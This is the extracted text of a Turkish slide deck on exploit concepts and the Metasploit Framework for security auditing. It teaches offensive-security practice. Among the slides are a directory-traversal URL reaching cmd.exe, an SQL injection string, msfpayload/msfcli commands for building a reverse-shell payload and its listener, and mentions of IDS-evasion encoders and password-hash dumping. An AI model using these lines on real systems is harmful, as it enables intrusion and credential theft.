VoIP Wars: Destroying Jar Jar Lync ...
The Art of VoIP Hacking - Defcon 23...
Metasploit Framework ile Güvenlik Denetimi Fatih Özavcı Bilgi Güveniği Danışmanı fatih.ozavci at gamasec.net gamasec.net/fozavci 2.
Konular Exploit Kavramı Exploit Geliştirme Süreci Bütünleşik Geliştirme Ortamları Metasploit Framework Canlı Uygulama ve Pratikler 2 3.
Exploit Bir güvenlik açığını kullanarak normal-dışı bir işlem yapılmasını sağlayan yöntem veya yazılım http://sunucu/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir http://sunucu/login.asp?uid=‘ OR 1=1 3 4.
Diğer Kavramlar Payload / Shellcode Exploit sonrası çalıştırılacak ve normal-dışı işlemi yapacak içerik NOP / NOPSlide “Not Operation”, işlevsiz veya bellek yeri öğrenme amaçlı bellek dolduran bitler Encoder Çalıştırılacak Shellcode’u değiştiren ve IDS’ler tarafından yakalanmasını önleyen yazılımlar 4 5.
Exploit Yapısı Exploit İşlevsiz veya İşlevli İşlemler Decoder Payload/Shellcode 5 6.
Exploit Yaşam Çevrimi Güvenlik Açığının Bulunması Exploit’in 0 Gün Özelleştirilebilir Exploit’inin Hale Gelmesi Hazırlanması Genel Güvenlik Exploit’in AçığınınYayınlanması Duyurulması Exploit’in Teknik Analiz ve Hazırlanması Çözümleme 6 7.
Genel Exploit’lerin Özellikleri Çok farklı programlama dillerinde sunulabilirler (binary,c,c++,perl,lisp,python) Açığın tek veya özel bir kullanımı üzerine geliştirilmiş olabilirler (..%c0%af.. veya ..%c0%qf..) Payload/Shellcode değeri özelleştirilemeyebilir (binary, açık hakkında kısıtlı bilgi) Kod kirli veya kötü niyetli yazılmış olabilir Herkesçe kullanıldığı için önlem alınmış olabilir 7 8.
Kim Özel Exploit’e İhtiyaç Duyar Tetkikçiler Danışmanlar Yazılım veya Donanım Testi Yapanlar Sistem Yöneticileri Güvenlik Açığı Geliştiricileri 8 9.
Exploit Geliştirme Süreci Güvenlik Açığının Farklı Payload Duyurulması Teknik Analiz Kullanımına Hazır ve Çözümleme Hale Getirilmesi Exploit’in Açık AtlamaÖzelleştirilebilir Noktalarının Hale Gelmesi Belirlenmesi Farklı Platform Çözümleme ve Programlara Yapılarak Uyarlanması Normal-Dışı İşlem Exploit’in Yapılması Hazırlanması 9 10.
Hangi Araçlar Kullanılır Açık Bulunan Yazılımın Örneği !? Fuzzer (Karıştırıcı ve Değiştiriciler) Encoder (Kodlayıcılar) HEX Editörler Binary Analiz Araçları Debugger (Hata Ayıklayıcılar) Sniffer (Paket Yakalayıcılar) Protokol Çözümleyiciler Yorumlayıcılar / Derleyiciler (Interpreter/Compiler) Shellcode’lar SQL Sorguları 10 11.
Bütünleşik Geliştirme Ortamları Exploit ve Payload ayrımı Hazır ve kodu açık Exploit’ler Binary analizi için yardımcı araçlar Hazır Payload veya Agent’lar Grafik arabirim ile “tıkla ve gir” kolaylığı Hazır fonksiyonlar ile daha az Exploit kodu Kategorizasyon ve analiz arabirimleri Hazır Recon’lar ile bilgi toplama Yerel, yetki yükseltimi amaçlı Exploit’ler 0 gün Exploit’leri 11 12.
Neden Exploit Geliştirme Ortamı ? Güvenlik açığı tarama yazılımlarının imza kalitesindeki yetersizlikler Güvenlik açığının kullanılabilir olduğunun tespiti Risk boyutunun tam olarak bilinmesi ihtiyacı Güvenlik önlemlerinin (firewall/ids etc.) aşılması ihtiyacı Güvenlik açıklarının kullanımına farklı bakış açıları getirme ihtiyacı Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım sonrası işlemleri kolayca uygulayabilme 12 13.
Geliştirme Ortamı Alternatifleri Core Technologies – Core Impact Immunity Security – Immunity Canvas Metasploit Project - Metasploit Framework Security Forest - Exploitation Framework 13 14.
Metasploit Framework Bileşenler ~1000 Exploit ~250 Payload ~500 Yardımcı Araç ~30 Encoder ~150 Exploit Sonrası Modül/Script Çok farklı türde Payload’lar kullanılabiliyor ve bağımsız olarak üretilebiliyor (Binary, Perl, Python, Shell, PHP) Meterpreter ile Hedef Tamamen Ele Geçirilebiliyor VNC ile Hedef Sisteme Grafik Arayüzle Bağlanılabiliyor Çok sayıda farklı encoder kullanılabiliyor (Shikata Ga Nai vb.) Konsol, Seri ve Grafik (Armitage) arayüzlerine sahip En güçlü özelliği Post-Exploitation yetenekleri (Meterpreter, VNC DLL Injection, Anti-Forensic, Process Migration vb.) 14 15.
Ekran Görüntüleri 15 16.
Armitage 16 17.
Genel Özellikler Arabirim Konsol Arayüzü (msfconsole) Web Arayüzü (msfweb) Komut Satırı Arayüzü (msfcli) Yardımcı Araçlar Dönüş Adresi Tarayıcı (msfpescan,msfelfscan) Payload Üretici (msfpayload) Payload Encoder (msfencode) Oturum Logları (msflogdump) Ana Modüller Exploit’ler Payload’lar Encoder’lar NOP Üreticiler 17 18.
Exploit Çok sayıda, kaynak kodu açık, eski ve yeni exploit İstemci ve sunucu exploitleri birarada Farklı işletim sistemleri için yazılmış exploit’ler Windows, MacOSX, Linux,Irix, AIX, Solaris etc. Farklı platformlar için yazılmış exploit’ler PPC, IA32, SPARC, MIPS, etc. Hazır fonksiyonlar ile yazılacak kod miktarı oldukça az SSL desteği Hazır ağ protokolleri (SMB/DCERPC etc.) Encoding desteği Kolay payload ve hedef entegrasyonu Kod yerine güvenlik açığına odaklanmak hedeflenmiş 18 19.
Payload Birçok platform için hazır Shellcode Windows,Linux,Aix,Solaris,Hp/UX,OS X,BSD,BSDI etc. Hazır Shellcode (Shell Bind, Reverse, FindTag) Perl Kodu Üst düzey payload’lar PassiveX InlineEgg (Core Tech.) Meterpreter VNC Injection Belleğe program yükleme ve çalıştırma Kademeli/Modüler payload yükleme Hedef üstünden yeni saldırı kapasitesi Tek başına payload kullanımı msfpayload PAYLOAD_ADI LHOST=x.x.x.x LPORT=3333 X > test.exe msfcli payload_handler PAYLOAD=PAYLOAD_ADI LHOST=x.x.x.x LPORT=3333 E 19 20.
Encoder Hazır encoder’lar ile payload kolayca değiştirilebilmekte HIDS/NIDS/IPS Atlatma Farklı platformlar için encoder’lar PPC, x86, Sparc etc. Farklı türlerde 13 encoder MsfVenom vs MsfEncode 20 21.
Meterpreter Meta-Interpreter Modül destekli exploit sonrası aracı Dosya sistemi, Süreç yönetimi, Ağ vb. DLL olarak yeni modüller eklenebilir Kodu açık ve kolayca geliştirilebilir Dinamik modül yükleme Dahili Kriptolama Kanal ve VNC Injection desteği Sürekli Eklenen Modüller ve Scripting Desteği Süreç birleştirme IRB desteği Timestomp,SAM HashDump Yeni bir alt süreç olarak doğrudan bellekte çalışıyor 21 22.
VNC Injection RealVNC kodunda değişiklikler yapılmış, gereksiz bölümler çıkartılmış Dış dosya, kütüphane, servis kurulumu veya registry anahtarı gerekmiyor Yeni bir alt süreç olarak doğrudan bellekte çalışıyor Kilitli ekranlarda yeni kabuk (command prompt) açılıyor 22 23.
Bağlantılar ve Referanslar Türkçe Metasploit Framework Rehberi www.gamasec.net/fozavci Metasploit Project www.metasploit.com Metasploit Unleashed www.offensive-security.com/metasploit-unleashed/Main_Page 23 24.